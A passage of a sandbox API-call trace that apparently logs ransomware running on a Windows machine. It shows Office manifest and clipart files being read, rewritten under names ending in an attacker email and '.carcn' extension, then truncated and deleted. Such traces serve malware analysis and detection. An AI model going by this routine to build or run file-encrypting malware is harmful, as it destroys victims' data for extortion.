Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0182.189] lstrlenW (lpString=".jpg") returned 4 [0182.189] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.190] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.190] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0182.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.190] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=527958) returned 1 [0182.190] CloseHandle (hObject=0x394) returned 1 [0182.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0182.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.190] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0182.191] GetLastError () returned 0x0 [0182.191] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0182.405] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0182.412] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.412] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x13e, lpOverlapped=0x0) returned 1 [0182.413] SetEndOfFile (hFile=0x364) returned 1 [0182.413] CloseHandle (hObject=0x364) returned 1 [0182.421] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.421] SetEndOfFile (hFile=0x394) returned 1 [0182.425] CloseHandle (hObject=0x394) returned 1 [0182.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0182.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0182.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.426] lstrlenW (lpString=".doc") returned 4 [0182.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.426] lstrlenW (lpString=".docx") returned 5 [0182.426] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.426] lstrlenW (lpString=".pdf") returned 4 [0182.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.426] lstrlenW (lpString=".xls") returned 4 [0182.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.426] lstrlenW (lpString=".xlsx") returned 5 [0182.426] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.426] lstrlenW (lpString=".ppt") returned 4 [0182.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.426] lstrlenW (lpString=".zip") returned 4 [0182.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.426] lstrlenW (lpString=".rar") returned 4 [0182.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString=".bz2") returned 4 [0182.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString=".7z") returned 3 [0182.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString=".dbf") returned 4 [0182.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString=".1cd") returned 4 [0182.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString=".jpg") returned 4 [0182.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString=".doc") returned 4 [0182.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString=".docx") returned 5 [0182.427] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0182.427] lstrlenW (lpString=".pdf") returned 4 [0182.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString=".xls") returned 4 [0182.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString=".xlsx") returned 5 [0182.427] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0182.427] lstrlenW (lpString=".ppt") returned 4 [0182.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0182.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.427] lstrlenW (lpString=".zip") returned 4 [0182.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0182.427] lstrlenW (lpString=".rar") returned 4 [0182.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0182.428] lstrlenW (lpString=".bz2") returned 4 [0182.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0182.428] lstrlenW (lpString=".7z") returned 3 [0182.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0182.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.428] lstrlenW (lpString=".dbf") returned 4 [0182.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.428] lstrlenW (lpString=".1cd") returned 4 [0182.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0182.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0182.428] lstrlenW (lpString=".jpg") returned 4 [0182.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0182.428] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0182.428] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0182.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.433] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=373) returned 1 [0182.434] CloseHandle (hObject=0x394) returned 1 [0182.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0182.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0182.434] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.434] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0182.434] GetLastError () returned 0x0 [0182.434] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x175, lpOverlapped=0x0) returned 1 [0182.476] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x180, lpOverlapped=0x0) returned 1 [0182.477] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.477] WriteFile (in: hFile=0x364, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0x100, lpOverlapped=0x0) returned 1 [0183.453] SetEndOfFile (hFile=0x364) returned 1 [0183.453] CloseHandle (hObject=0x364) returned 1 [0183.454] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.454] SetEndOfFile (hFile=0x394) returned 1 [0183.454] CloseHandle (hObject=0x394) returned 1 [0183.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0183.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0183.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.455] lstrlenW (lpString=".doc") returned 4 [0183.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.455] lstrlenW (lpString=".docx") returned 5 [0183.455] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0183.455] lstrlenW (lpString=".pdf") returned 4 [0183.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.455] lstrlenW (lpString=".xls") returned 4 [0183.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.455] lstrlenW (lpString=".xlsx") returned 5 [0183.455] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0183.455] lstrlenW (lpString=".ppt") returned 4 [0183.455] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.455] lstrlenW (lpString=".zip") returned 4 [0183.455] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.456] lstrlenW (lpString=".rar") returned 4 [0183.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString=".bz2") returned 4 [0183.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString=".7z") returned 3 [0183.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString=".dbf") returned 4 [0183.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString=".1cd") returned 4 [0183.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString=".jpg") returned 4 [0183.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString=".doc") returned 4 [0183.456] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString=".docx") returned 5 [0183.456] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0183.456] lstrlenW (lpString=".pdf") returned 4 [0183.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString=".xls") returned 4 [0183.456] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString=".xlsx") returned 5 [0183.456] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0183.456] lstrlenW (lpString=".ppt") returned 4 [0183.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0183.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.456] lstrlenW (lpString=".zip") returned 4 [0183.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0183.457] lstrlenW (lpString=".rar") returned 4 [0183.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0183.457] lstrlenW (lpString=".bz2") returned 4 [0183.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.457] lstrlenW (lpString=".7z") returned 3 [0183.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0183.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.457] lstrlenW (lpString=".dbf") returned 4 [0183.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.457] lstrlenW (lpString=".1cd") returned 4 [0183.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0183.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0183.457] lstrlenW (lpString=".jpg") returned 4 [0183.457] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0183.457] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0183.457] lstrlenW (lpString="AG00038_.GIF") returned 12 [0183.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0183.892] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=3251) returned 1 [0183.892] CloseHandle (hObject=0x394) returned 1 [0183.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0183.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0183.893] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.893] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0184.139] GetLastError () returned 0x0 [0184.139] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0184.218] WriteFile (in: hFile=0x308, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0184.218] ReadFile (in: hFile=0x394, lpBuffer=0x4122020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.219] WriteFile (in: hFile=0x308, lpBuffer=0x4122020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4122020*, lpNumberOfBytesWritten=0x376fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.219] SetEndOfFile (hFile=0x308) returned 1 [0184.219] CloseHandle (hObject=0x308) returned 1 [0184.219] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.219] SetEndOfFile (hFile=0x394) returned 1 [0184.220] CloseHandle (hObject=0x394) returned 1 [0184.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0184.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0184.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.222] lstrlenW (lpString=".doc") returned 4 [0184.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.223] lstrlenW (lpString=".docx") returned 5 [0184.223] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.223] lstrlenW (lpString=".pdf") returned 4 [0184.223] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString=".xls") returned 4 [0184.223] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString=".xlsx") returned 5 [0184.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.223] lstrlenW (lpString=".ppt") returned 4 [0184.223] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString=".zip") returned 4 [0184.223] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString=".rar") returned 4 [0184.223] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString=".bz2") returned 4 [0184.223] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.223] lstrlenW (lpString=".7z") returned 3 [0184.223] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString=".dbf") returned 4 [0184.223] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString=".1cd") returned 4 [0184.223] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString=".jpg") returned 4 [0184.223] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.223] lstrlenW (lpString=".doc") returned 4 [0184.223] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0184.223] lstrlenW (lpString=".docx") returned 5 [0184.224] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0184.224] lstrlenW (lpString=".pdf") returned 4 [0184.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0184.224] lstrlenW (lpString=".xls") returned 4 [0184.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0184.224] lstrlenW (lpString=".xlsx") returned 5 [0184.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0184.224] lstrlenW (lpString=".ppt") returned 4 [0184.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.224] lstrlenW (lpString=".zip") returned 4 [0184.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0184.224] lstrlenW (lpString=".rar") returned 4 [0184.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0184.224] lstrlenW (lpString=".bz2") returned 4 [0184.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0184.224] lstrlenW (lpString=".7z") returned 3 [0184.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.224] lstrlenW (lpString=".dbf") returned 4 [0184.224] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.224] lstrlenW (lpString=".1cd") returned 4 [0184.224] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0184.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0184.224] lstrlenW (lpString=".jpg") returned 4 [0184.224] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0184.224] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0184.224] lstrlenW (lpString="AG00057_.GIF") returned 12 [0184.224] CreateFileW 